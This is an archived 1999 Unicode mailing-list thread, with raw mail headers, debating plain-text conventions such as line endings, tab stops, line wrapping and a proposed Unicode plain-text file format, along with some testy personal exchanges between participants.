Subject: Re: Plain text: Amendment 1 Content-Transfer-Encoding: 7bit Frank da Cruz scripsit: > This is to allow paragraphs like this one, which contain embedded > ""displays"" set off by blank lines that are NOT paragraph separators. A great thing. It is only in plain text that I can compare 1) example A with 2) example B in a single paragraph without confusion. -- John Cowan cowan@ccil.org I am a member of a civilization. --David Brin 3-Jul-99 0:50:17-GMT,1114;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id UAA08384 for ; Fri, 2 Jul 1999 20:50:16 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id RAA339856 ; Fri, 2 Jul 1999 17:46:29 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA00424; Fri, 2 Jul 99 17:34:34 -0700 Message-Id: <9907030034.AA00424@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" X-Uml-Sequence: 8325 (1999-07-03 00:34:07 GMT) From: ""Christopher J. Fynn"" To: Unicode List Date: Fri, 2 Jul 1999 17:34:05 -0700 (PDT) Subject: RE: Plain Text [**NOT**] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by watsun.cc.columbia.edu id UAA08384 Edward Cherlin wrote: > I know of no device which required the user to enter a CR followed > by an LF The manual typewriter? - Chris 3-Jul-99 1:13:59-GMT,1390;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id VAA09857 for ; Fri, 2 Jul 1999 21:13:59 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id SAA251700 ; Fri, 2 Jul 1999 18:07:10 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA00795; Fri, 2 Jul 99 17:51:32 -0700 Message-Id: <9907030051.AA00795@unicode.org> Errors-To: uni-bounce@unicode.org X-Uml-Sequence: 8326 (1999-07-03 00:51:19 GMT) From: kenw@sybase.com (Kenneth Whistler) To: Unicode List Cc: unicode@unicode.org, kenw@sybase.com Date: Fri, 2 Jul 1999 17:51:17 -0700 (PDT) Subject: RE: Plain Text [**NOT**] Chris Fynn suggested: > > Edward Cherlin wrote: > > > I know of no device which required the user to enter a CR followed > > by an LF > > The manual typewriter? Hehe, not even that, since when you pull the ""carriage return lever"" to return the carriage to the left margin, the ratchet setting (for single space or double space) automatically feeds the line (or lines) on the platen to the ratchet stop before the lever locks and allows you to drag the carriage back. So nice try, but CRLF was already mechanically automated decades ago. --Ken > > - Chris > 3-Jul-99 3:06:18-GMT,1372;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id XAA20716 for ; Fri, 2 Jul 1999 23:06:17 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id UAA266332 ; Fri, 2 Jul 1999 20:01:53 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA01966; Fri, 2 Jul 99 19:48:33 -0700 Message-Id: <9907030248.AA01966@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain X-Uml-Sequence: 8330 (1999-07-03 02:48:22 GMT) From: ""Hohberger, Clive P."" To: Unicode List Date: Fri, 2 Jul 1999 19:48:20 -0700 (PDT) Subject: RE: Plain Text [**NOT**] The Teletypes did, up through at least the KSR 33 and ASR 35, at least. That's why CR and LF were made part of the control character set... along with alot of other Teletype commands (SI, SO, HT, etc) Clive > -----Original Message----- > From: Christopher J. Fynn [SMTP:cfynn@dircon.co.uk] > Sent: Friday, July 02, 1999 7:34 PM > To: Unicode List > Subject: RE: Plain Text [**NOT**] > > Edward Cherlin wrote: > > > I know of no device which required the user to enter a CR followed > > by an LF > > The manual typewriter? > > - Chris 3-Jul-99 3:41:00-GMT,1740;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id XAA24627 for ; Fri, 2 Jul 1999 23:40:59 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id UAA268562 ; Fri, 2 Jul 1999 20:33:54 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA02522; Fri, 2 Jul 99 20:21:14 -0700 Message-Id: <9907030321.AA02522@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" X-Uml-Sequence: 8332 (1999-07-03 03:20:58 GMT) From: Edward Cherlin To: Unicode List Date: Fri, 2 Jul 1999 20:20:57 -0700 (PDT) Subject: Re: Plain Text At 11:45 -0700 7/2/1999, Geoffrey Waigh wrote: >Frank da Cruz wrote: >> >> > Why are you specifying font characteristics for plain text? >> > >> Only for purposes of getting across the idea that ""long line = paragraph, >> break where you please"" should not be considered well-formed plain text. >> Or, to look at it the other way, that plain text must allow for hard line >> breaks, and there should be a convention as to how long we might reasonably >> expect lines to be. [much snippage] There cannot be an enforceable line length limit on plain text. One of the uses of plain text is for database interchange, where any number of fields of any length, plus separators, may constitute a line. -- Edward Cherlin President Coalition Against Unsolicited Commercial E-mail Help outlaw Spam. Talk to us at 3-Jul-99 3:46:36-GMT,22091;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id XAA25014 for ; Fri, 2 Jul 1999 23:46:35 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id UAA186618 ; Fri, 2 Jul 1999 20:35:16 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA02526; Fri, 2 Jul 99 20:21:17 -0700 Message-Id: <9907030321.AA02526@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" X-Uml-Sequence: 8333 (1999-07-03 03:21:01 GMT) From: Edward Cherlin To: Unicode List Cc: unicode@unicode.org Date: Fri, 2 Jul 1999 20:20:59 -0700 (PDT) Subject: Re: Plain Text At 08:58 -0700 7/2/1999, Frank da Cruz wrote: [failing to mention that Ed Cherlin wrote:] >> The problems we have with ASCII plain text come mainly from a small set of >> common variant practices. >> >> Using CR, LF, or CR/LF as a line or paragraph end >> Different tab spacings >> Optional line wrap >> Formfeed codes vs. computed page breaks >> BS = DEL or BS-overstrike >> >We all have dealt with these annoyances throughout our careers. They are >indeed annoying, but not impassible impediments. Also, let's not mix up: > > . File storage format > . Interchange format > . Data entry format . Rendering options On looking through the remainder of this message, I conclude that I disagree with Frank's attempts to make his own limited experience normative, but I heartily agree that his proposal for a bottom-level plain text Unicode format is on the right track, and that it allows us to deal with some of the issues listed above as file format issues, specifically line and paragraph ends and other control codes. Tab stops, wrapping, and page breaking must be left to the user's choice when rendering, since they are not file format issues. >> Using CR, LF, or CR/LF as a line or paragraph end >> >As a line end: > This is a file storage issue. > >As a paragraph end: > There is no such thing as a paragraph end or paragraph separator in > traditional plain text. > >Here I am sitting at my VT100 terminal, which is plugged in to my UNIX >computer. Here *I* am, sitting at my Mac, and recalling what I have been doing on an NT system and Silicon Graphics Indy and O2 computers running Irix for the last year and a half, when I was shuttling files back and forth between them. (The Indy is used as an embedded controller in a 750 kg laser microscope system for semiconductor wafer inspection, and the O2 to run the microscope software without the hardware for demos and simulations, none of which matters to this discussion.) >I type: > > This is a line > >Then I push the Return key (sometimes marked Enter), which sends a Carriage >Return. Whereas my VT100 simulator used to get its CR from the keyboard buffer, where it was deposited after the keyboard driver translated from the keyboard scan codes. Anyway, input technology is not at issue here. >I would enter a line in exactly the same way no matter what >computer was on the far end of the wire. Now: > > . The UNIX terminal driver turns the CR into a LF before giving it > to the application. If the application is storing the line into a > file, the file gets ""This is a line"". Ditto for some other > operating systems, like AOS/VS. > > . If I had OS-9 on the far end, it would store ""This is a line"". ^or Mac OS > . If I had TOPS-10, TOPS-20, RT-11, etc, on the far end, it would > store ""This is a line"". > > . If I had VMS, VOS, VM/CMS, MVS/TSO or other complex file system on > the far end, who knows how the line would be stored -- it depends on > chosen the file organization and record format. > >The point is, it doesn't matter. Each platform has its own format for >internal use, but a standardized interface to the outside world. To further >demonstrate this fact, if I then tell the computer on the far end to ""type"" >or ""cat"" the file, it will, invariably, send: > > This is a line Your cultural ignorance/sheltered life-experience is showing. *You* may live in an environment where these changes are made automatically, but a lot of us don't. >So who cares what the file format is -- except of course when we want to >transfer the file to another platform. And since I don't use a VT100 simulator anymore, I only encounter this issue when transfering files to another platform, and as a result I care all the time. >In that case, it is the >responsibility of each file-transfer agent When reading floppy disks? >to convert between its peculiar >local format and the common one. And that is exactly what they do, just >as is done at the terminal/terminal-driver/data-entry level. FTP and Kermit >are two examples that show it is not that hard to convert plain-text file >record formats from one platform to another. (And in Kermit's case, the >character set too.) > >Of course life would have been simpler if there had been only ONE standard >text-file format used on all platforms. But the early days of computing >was a time of ""Let the Hundred Flowers Bloom"", and they did. Now, however, >we are in a position to start over, and it is an opportunity we are not >likely to have again. Yes, yes, everything *could* have been made to work, except for the parts that couldn't, you see, because management wouldn't allow the extra time and space required to make things portable, or worse still, was trying to lock customers into proprietary data formats. >> Different tab spacings >> >I used to say this too, but the last platform I know about that did not >assume tabstops at 1,9,17,25,... was MULTICS. Of course tabs are variable >in word processors, etc, but that is not plain text. Your limited experience again. I have rarely used an editor with fixed tab stops since about 1982 (EDLIN, IIRC). I once knew the escape sequences for IBM, Diablo, and Qume *printing* terminal tab settings by heart. >> Optional line wrap >> >This is a feature of the terminal or the application, not of ""plain text"". This is a feature found in ASCII *files* which were written either with or without explicit line breaks, requiring a choice for appropriate rendering--a choice which the editor should be able to make, but which the user should actually make. >Files that do not contain line breaks and must rely on some form of >postprocessing to insert line breaks at appropriate points is not really >plain text, it is ""input for a text formatter"". But the text editor is frequently the chosen text reformatter. You are still claiming that text files as they occur in your computer subculture are for some reason normative for the rest of us. >Prior to the advent of >word processors, the idea of ""long line as paragraph"" never came up. Word processing began in the 1960s. I gather you had a later date in mind. Did you mean specifically WYSIWYG word processors, invented at Xerox in the late 1970s? >> Formfeed codes vs. computed page breaks >> >Page breaks are an issue worth discussing, and we discussed them at some >length two years ago. Basically, you can let your ""rendering engine"" or >printer driver insert them for you, or you can insert them yourself. One >should be allowed the choice. (Why would anybody want ""hard"" page breaks? >Because they are printing paychecks, invoices, envelopes, etc.) If we can establish that general principle and apply it to the previous cases, the problem will be solved in short order. The application determines the requirements for tab stops, page breaks, and paragraph or line formatting. >> BS = DEL or BS-overstrike >> >This is a data entry issue, unless you mean including BS in a file for >overstriking. But in that case, there is never any confusion between BS and >DEL, since DEL is never used for that purpose. In other words, the only >confusion is at data entry, and this is entirely irrelevant to the >definition of plain text. > >> >Lines are terminated at somewhere between 72 and 80 characters by >> >convention, because that's how wide terminal screens are, and before them >> >the Teletype carriage, and before that the most common kind of punchcard. >> >Or for that matter, typewriters and sheets of paper (A4 or US, take your >> >pick :-) >> > >> >To this day, we follow these conventions in newsgroups and email, although >> >now it might be more a matter of ""netiquette"" than necessity (as in the >> >BITNET days, when e-mail was, quite literally, 80-column card images). >> >> As long as e-mail readers cannot correctly reformat messages with bad >> line breaks ^^^^^^^^^^^^^^^^^^^^^^^^^^^ >> (like this), it will be a matter of real necessity. >> >What does ""correctly reformat messages"" mean? How can your mail client read >my mind? How does it know that the message I sent you was not already >formatted exactly the way I wanted it? I mean that it should have the ability to reformat such badly broken text, to use when I decide. Right now I have to reformat such text by hand, or leave it severely broken. Well, maybe I should learn Perl, but I prefer that someone else learn Perl and write the routines I and many others need. If any reader is interested, the spec is as follows. 1) Reflow paragraphs, removing extra white space, while preserving quoting marks '>' in the left margin. Don't get confused by angle brackets in the text. 2) Realign tables with ""tab damage"". Tables that are too wide should be broken into pages, rather than having lines folded. If you can manage those two, you're good, and I have some more little jobs for you. E-mail users will be eternally grateful (for a week or two, anyway, on Net time). >Notice that to illustrate my point, I need your original formatting (above) >preserved, with the ""> "" quote indicators added at the left margin, and with >my emphasis added under the appropriate words. What is a ""correct"" mail >client supposed to do with this? Something like this?: > > > As long as e-mail readers cannot correctly > reformat messages with bad > line breaks > ^^^^^^^^^^^^^^^^^^^^^^^^^^^ > (like this), > it will be a matter of real necessity. > >No, a correct email client will leave it alone. Whether I want my email >reformatted by your client should be my choice, since only I know what my >intentions are in sending it. ^^^^^^^^^ However, it actually is the recipient's choice, and you can't stop us. The ""correct"" reformatting I had in mind would look like this. >> As long as e-mail readers cannot correctly reformat messages with bad >> line breaks (like this), it will be a matter of real necessity. or possibly >>As long as e-mail readers cannot correctly reformat messages with bad >>line breaks (like this), it will be a matter of real necessity. (**my choice**) >Granted, plain text requires some minimal level of agreement, for example >that your screen is 72 (or 76, or 79) columns wide. I maintain that this >convention is universal, except for Kanji, etc, which are displayed in two >character cells each. People who use email, netnews, and other forms of >open, interplatform communication have learned these conventions. We use >them ourselves on this mailing list. Those of us who do not are often >excoriated for our antisocial behavior. Universal, of course, except where it isn't, you know. No matter where we set the right margin, text quoted from e-mails will break against it if it can't be reflowed. >Especially when we send email or netnews in some application-specific >format, assuming that everybody else uses the same platform and applications >we do. > >> >These simple conventions let us format our text exactly the way we want >> >to. We can indent or not, we can put line breaks where we want them, we >> >can have columns of numbers or other tabular presentations, mathematical >> >expressions, >> >> which actually require several hundred non-ASCII characters, unless you >> mean, as so many do, arithmetic expressions. >> >Yes, that's what I meant, thanks. (All of us here recognize the >shortcomings of ASCII -- that's why we're here! But let's not forget that >ASCII can be used to write, say, Fortran programs that can handle far more >in the way of mathematics than the repertoire of ASCII might suggest, and >that people send Fortran-like expressions back and forth in email, etc, >which could easily lose their meaning when reformatted.) How do you express a vector inner product in FORTRAN? In TeX it's something like $\\Sigma_(i=0)^n a_i \\times b_i$, and in APL it's nearly ""A+.xB"", but with a real times symbol. >> When I want my text to stay as I wrote it, I put it into a PDF, not a text >> file. Others prefer TeX for this purpose, or PostScript. >> >My point exactly. No, your point was that ASCII text files stay formatted the way you write them. That would be true, I suppose, if we agreed with you that we could outlaw differences in tab stops, line breaking, and other options on different platforms, because your subworld is normative and there aren't any variant practices worthy of consideration. >And how do I read your PDF if I don't have a PDF reader? >(Don't say ""get one"" -- I'm reading your mail on a DOS PC or a PDP-11, or a >Cray supercomputer.) Yes, we had the same problem with SGI Irix 5.2, which doesn't support a PDF reader. But the field engineers have Windows on their laptops, so it's only a problem for the user manual, not the service manual, and only becomes vitally important in paperless fabs. >How do I read TeX if I don't have the software? How >do I read PostScript if I don't have a PostScript printer or rendering >engine. But the crucial point is: > > How will I read your PDF file 200 years from now, when > PDF itself has been consigned to the ""legacy"" trashheap > for the past 195 years? along with ASCII, 8859, and 2022, and all of our removable storage media. Do you know someone with a functioning Teletype paper tape reader who can read legacy ASCII files from 1970? What would you suggest I archive my life's work on for the ages to come (if anyone cares)? >> We raised the question of defining a Unicode plain text format about two >> years ago, but nothing seemed to come of it. >Then let's try again. Let me get the ball rolling with the following simple >suggestion for Unicode Plain-Text File and Interchange Format: ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ The following discusses a file format and a number of rendering options, but fails to address interchange. UTF-8 is usually recommended for interchange, since it avoids the Endianness question, but transfer of files in other encodings will occur, and must be provided for. The file format must define permitted character codes and code sequences. I suggest that we permit any character code that can represent a character, even if no character is defined for that code, but that we not permit unmatched surrogate characters or codes which are defined not to have the possibility of representing a character. Error behavior for the rendering process when there are illegal codes or code sequences can be undefined, or we could specify error messages and continuation policies. The display rendering process does not change the file, so any display options such as word wrap, tab stops, character width, ligatures, combining characters, and so on are orthogonal to the file format. The user can change the text and save in the new form, but the software isn't allowed to on its own. Rendering behavior of control codes and other non-printing characters must be defined. >A monospaced character-cell display device is assumed for the purposes of >line breaking. Characters that are too wide for a character cell (such as >Kanjis) occupy a double-width cell. Users may choose to display all characters in cells of the same width, or to mix single- and double-cell display. Note that this is not the same as half-width and full-width CJK characters, which have been defined as separate characters. >Of course, Unicode Plain Text can also >be displayed on any other kind of device, in any font, monospaced or not, in >which case ""all bets are off"", just as they are now with traditional plain >text when displayed in a proportional font. Specifically, we will permit rendering in ATSUI on the Mac, in Java, on NT2K, in Plan 9, and on other platforms, all with whatever level of Unicode rendering and fonts happen to be available, and we will specify what should happen for missing characters, lack of BIDI capability, lack of ligatures, etc. >Conversely, it is recognized that a monospaced (or duospaced) character-cell >device might be inadequate for display of certain writing systems, such as >Arabic or Indic scripts, and in this case intelligent rendering engines >might very well be required. For some purposes a monospaced LTR rendering of these characters may be useful, and is permitted as a user option and as a fallback. >This should, nevertheless, be possible with >plain text, without the aid of any particular markup scheme. But with the use of Unicode markup characters, such as explicit ordering and joining characters. >Plain text is composed only of Unicode characters, ^printing ^including surrogate character pairs, >with no meta-level >of formatting information, presentation hints, etc, except: > > 1. Spaces, such as U+0020 and U+00A0, which are are ""kept"" (e.g. > adjacent spaces are not collapsed). including spaces defined at code points U+2000-U+200B. > 2. Horizontal Tabs are indicated by the HT character, U+0009. Tab > stops shall be assumed every 8 columns, starting at the first. (This > provision is primarily to facilitate conversion of ASCII and 8-bit > text to Unicode. Alternatively, it would be OK to force all > horizontal alignment to be accomplished by spaces.) As on a typewriter, we have no control of the user's tab stop settings. I recommend that we legislate alignment of monospaced text using spaces only, and forget HT. That's what I have taught people to do for tabular e-mail such as resumes. > 3. Line breaks are indicated by Line Separator, U+2028. Preformatted > text must break lines at column 79 or less to avoid unwanted > reformatting. At present software is free to truncate long lines, wrap at the last column, or word wrap. I would recommend that we forbid truncation and allow the user to choose wrapping style. >Column numbers are 1-based, relative to the left or > right margin, according to the previaling directionality, with > single-width characters as the counting unit. A line break is > required at the end of the final line if it is to be considered a > line. (This is to allow append operations to work in the expected > fashion.) > > 4. Paragraph breaks are indicated by two successive Line Separators legacy, deprecated in new software > or by Paragraph Separator, U+2029. > > 5. Hard page breaks are indicated by FF, U+000C. 6. BIDI modifiers: U+200E, LEFT-TO-RIGHT MARK; U+200F, RIGHT-TO-LEFT MARK 7. Joining modifiers: U+200C, ZERO-WIDTH NON-JOINER; U+200D ZERO-WIDTH JOINER 8. Combining characters: numerous accents; vowels in Hebrew, Arabic, Indic scripts, etc. 9. FEFF ZERO-WIDTH NO-BREAK SPACE=BYTE ORDER MARK should be the first character in a Unicode text file in 16-bit encoding (is that UTF-16? I can't keep them all straight.) BOM is not required in UTF-8 encoding. Non-normative comment: >C0 and C1 control characters other than HT and FF have no function >whatsoever in Unicode Plain Text. (If there were Unicode Horizontal Tab and >Page Break characters, we wouldn't need C0 at all; however, the UTC -- or at >least members of it, in previous discussions -- indicated that there is no >good reason to duplicate the C0 characters that are already in Unicode.) End comment. >A Unicode plain-text ""rendering engine"" shall not mess with the format of a \\\\\\\\\\\\\\\\\\change >plain-text file except, optionally, at the user's discretion, to wrap lines \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\. It may on the display >that are longer than the display or printing device. Higher-level rendering ^line length >engines, of course, can do whatever they want. And plain text can contain any markup for such engines using Unicode characters that is defined for a specific use, such as HTML, TeX source code, RTF, etc. >- Frank Ed The following non-printing characters may occur in the file, but will be treated as unavailable characters. U+206A INHIBIT SYMMETRIC SWAPPING U+206B ACTIVATE SYMMETRIC SWAPPING U+206C INHIBIT ARABIC SHAPING U+206D ACTIVATE ARABIC SHAPING U+206E NATIONAL DIGIT SHAPES U+206F NOMINAL DIGIT SHAPES Unicode Standard 2.0 describes them as ""Alternate format characters (usage strongly discouraged)"" Behavior for unavailable characters should be defined. Options include a single glyph for any unavailable character, glyphs indicating the code block of unavailable characters, and numeric rendering. Behavior for non-printing characters with no semantic significance in plain text should be defined. Should they be treated as unavailable characters, or as though they aren't there? A growing number of standards specify the use of Unicode text files, without explicitly defining them. If we get anywhere with this, we will have to run our proposal past these other groups, including the IETF, the POSIX committee, programming language standards committees, etc. -- Edward Cherlin President Coalition Against Unsolicited Commercial E-mail Help outlaw Spam. Talk to us at 3-Jul-99 11:14:03-GMT,1857;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id HAA14406 for ; Sat, 3 Jul 1999 07:14:03 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id EAA276564 ; Sat, 3 Jul 1999 04:11:00 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA06070; Sat, 3 Jul 99 03:53:40 -0700 Message-Id: <9907031053.AA06070@unicode.org> Errors-To: uni-bounce@unicode.org Content-Type: text/plain X-Uml-Sequence: 8345 (1999-07-03 10:53:24 GMT) From: dickey@clark.net To: Unicode List Cc: unicode@unicode.org Date: Sat, 3 Jul 1999 03:53:23 -0700 (PDT) Subject: Re: Plain Text > > At 08:58 -0700 7/2/1999, Frank da Cruz wrote: > [failing to mention that Ed Cherlin wrote:] > >> The problems we have with ASCII plain text come mainly from a small set of > >> common variant practices. > >> > >> Using CR, LF, or CR/LF as a line or paragraph end > >> Different tab spacings > >> Optional line wrap > >> Formfeed codes vs. computed page breaks > >> BS = DEL or BS-overstrike > >> > >We all have dealt with these annoyances throughout our careers. They are > >indeed annoying, but not impassible impediments. Also, let's not mix up: > > > > . File storage format > > . Interchange format > > . Data entry format > . Rendering options > > On looking through the remainder of this message, I conclude that I > disagree with Frank's attempts to make his own limited experience Perhaps you should introduce yourself - I know who Frank is, and the other contributors to this list at least give the impression of being polite and knowledgable. -- Thomas E. Dickey dickey@clark.net http://www.clark.net/pub/dickey 3-Jul-99 22:53:44-GMT,2716;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id SAA19468 for ; Sat, 3 Jul 1999 18:53:43 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id PAA321514 ; Sat, 3 Jul 1999 15:49:25 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA08130; Sat, 3 Jul 99 15:36:24 -0700 Message-Id: <9907032236.AA08130@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" X-Uml-Sequence: 8350 (1999-07-03 22:36:12 GMT) From: Edward Cherlin To: Unicode List Cc: unicode@unicode.org Date: Sat, 3 Jul 1999 15:36:11 -0700 (PDT) Subject: Re: Plain Text At 03:56 -0700 7/3/1999, dickey@clark.net wrote: >> >> At 08:58 -0700 7/2/1999, Frank da Cruz wrote: >> [failing to mention that Ed Cherlin wrote:] >> >> The problems we have with ASCII plain text come mainly from a small >>set of >> >> common variant practices. >> >> >> >> Using CR, LF, or CR/LF as a line or paragraph end >> >> Different tab spacings >> >> Optional line wrap >> >> Formfeed codes vs. computed page breaks >> >> BS = DEL or BS-overstrike >> >> >> >We all have dealt with these annoyances throughout our careers. They are >> >indeed annoying, but not impassible impediments. Also, let's not mix up: >> > >> > . File storage format >> > . Interchange format >> > . Data entry format >> . Rendering options >> >> On looking through the remainder of this message, I conclude that I >> disagree with Frank's attempts to make his own limited experience > >Perhaps you should introduce yourself - I know who Frank is, and the other >contributors to this list at least give the impression of being polite >and knowledgable. > >-- >Thomas E. Dickey >dickey@clark.net >http://www.clark.net/pub/dickey Well, in no particular order, I am Edward Cherlin Spam fighter Participant in standards processes for APL, I18N, Unicode Experience in production of documents including APL, math, music, Chinese, Korean, Japanese, Greek, Russian, Hebrew, Yiddish Author and publisher of The Worldwide Impact of the Unicode Character Set Standard, 1994. BA Honors Math & Philosophy Yale 1967 Buddhist priest Author of The New Newbie Pages at http://www.newbie.net Member of this list for several years. I was part of the discussion with Frank about a Unicode text standard two years ago. Ed Cherlin, President, CAUCE ""Everything should be made as simple as possible, __but no simpler__."" Attributed to Albert Einstein 3-Jul-99 23:14:02-GMT,1568;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id TAA20747 for ; Sat, 3 Jul 1999 19:14:02 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id QAA323778 ; Sat, 3 Jul 1999 16:09:39 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA08393; Sat, 3 Jul 99 16:00:26 -0700 Message-Id: <9907032300.AA08393@unicode.org> Errors-To: uni-bounce@unicode.org Content-Type: text/plain X-Uml-Sequence: 8351 (1999-07-03 23:00:16 GMT) From: dickey@clark.net To: Unicode List Cc: unicode@unicode.org Date: Sat, 3 Jul 1999 16:00:15 -0700 (PDT) Subject: Re: Plain Text > Well, in no particular order, I am > > Edward Cherlin > Spam fighter > Participant in standards processes for APL, I18N, Unicode > Experience in production of documents including APL, math, music, Chinese, > Korean, Japanese, Greek, Russian, Hebrew, Yiddish > Author and publisher of The Worldwide Impact of the Unicode Character Set > Standard, 1994. > BA Honors Math & Philosophy Yale 1967 > Buddhist priest > Author of The New Newbie Pages at http://www.newbie.net > Member of this list for several years. so? (I don't see any clue for berating Frank about ""limited experience"", except possibly your implied age ~55 -- for the rest, I don't see anything that matters much) -- Thomas E. Dickey dickey@clark.net http://www.clark.net/pub/dickey 4-Jul-99 9:31:30-GMT,3005;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id FAA18134 for ; Sun, 4 Jul 1999 05:31:29 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id CAA258396 ; Sun, 4 Jul 1999 02:24:16 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA09766; Sun, 4 Jul 99 02:16:33 -0700 Message-Id: <9907040916.AA09766@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" X-Uml-Sequence: 8355 (1999-07-04 09:16:18 GMT) From: Edward Cherlin To: Unicode List Cc: unicode@unicode.org Date: Sun, 4 Jul 1999 02:16:17 -0700 (PDT) Subject: Re: Plain Text At 16:00 -0700 7/3/1999, dickey@clark.net wrote: [failing to note that Ed Cherlin wrote in reply to his request for identification] >> Well, in no particular order, I am >> >> Edward Cherlin >> Spam fighter >> Participant in standards processes for APL, I18N, Unicode >> Experience in production of documents including APL, math, music, Chinese, >> Korean, Japanese, Greek, Russian, Hebrew, Yiddish >> Author and publisher of The Worldwide Impact of the Unicode Character Set >> Standard, 1994. >> BA Honors Math & Philosophy Yale 1967 >> Buddhist priest >> Author of The New Newbie Pages at http://www.newbie.net >> Member of this list for several years. [and also omitting Ed's statement about having been in a similar discussion with Frank on this list two years ago, about creating a Unicode text format standard.] > >so? (I don't see any clue for berating Frank about ""limited experience"", Are you berating me? You didn't ask me for ""clues for berating Frank"", just who I am. Do you mean that my experience is irrelevant in discussing his experience? Frank? Am I being mean to you? Is my criticism too harsh? If so, I apologize. What did you think about my suggestions for the Unicode text standard? >except possibly your implied age ~55 -- for the rest, I don't see anything >that matters much) Frank's ""limited experience"" is not youth but insularity. He cites practices current on UNIX systems as though they applied universally. I have used UNIX, DOS, Windows, CP/M, Apple ][, IBM mainframes via timesharing, and several other kinds of computers, dealing with character set problems well outside Frank's range of experience. I forgot to mention that I instigated and managed a software development project for a highly portable APL that came out in English, French, German, Finnish, Russian, and Japanese, on a variety of computer architectures. >-- >Thomas E. Dickey >dickey@clark.net >http://www.clark.net/pub/dickey -- Edward Cherlin President Coalition Against Unsolicited Commercial E-mail Help outlaw Spam. Talk to us at 4-Jul-99 11:25:19-GMT,3107;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id HAA04675 for ; Sun, 4 Jul 1999 07:25:19 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id EAA204984 ; Sun, 4 Jul 1999 04:19:18 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA10393; Sun, 4 Jul 99 04:04:37 -0700 Message-Id: <9907041104.AA10393@unicode.org> Errors-To: uni-bounce@unicode.org Content-Type: text/plain X-Uml-Sequence: 8357 (1999-07-04 11:04:25 GMT) From: dickey@clark.net To: Unicode List Cc: unicode@unicode.org Date: Sun, 4 Jul 1999 04:04:23 -0700 (PDT) Subject: Re: Plain Text [omitted previous discussion] > [and also omitting Ed's statement about having been in a similar discussion > with Frank on this list two years ago, about creating a Unicode text format > standard.] [this appeared redundant, except as a note that you had been introduced to Frank] > > > >so? (I don't see any clue for berating Frank about ""limited experience"", > > Are you berating me? You didn't ask me for ""clues for berating Frank"", just hmm (though the nearest dictionary does not convey this, my sense of 'berating' is related to the repetition of the ""limited experience"". There are indeed degrees here - but then we can argue about shades of meaning. > who I am. Do you mean that my experience is irrelevant in discussing his > experience? It doesn't make a good argument - and most of your listeners stop at that point. (If you wish to be convincing, 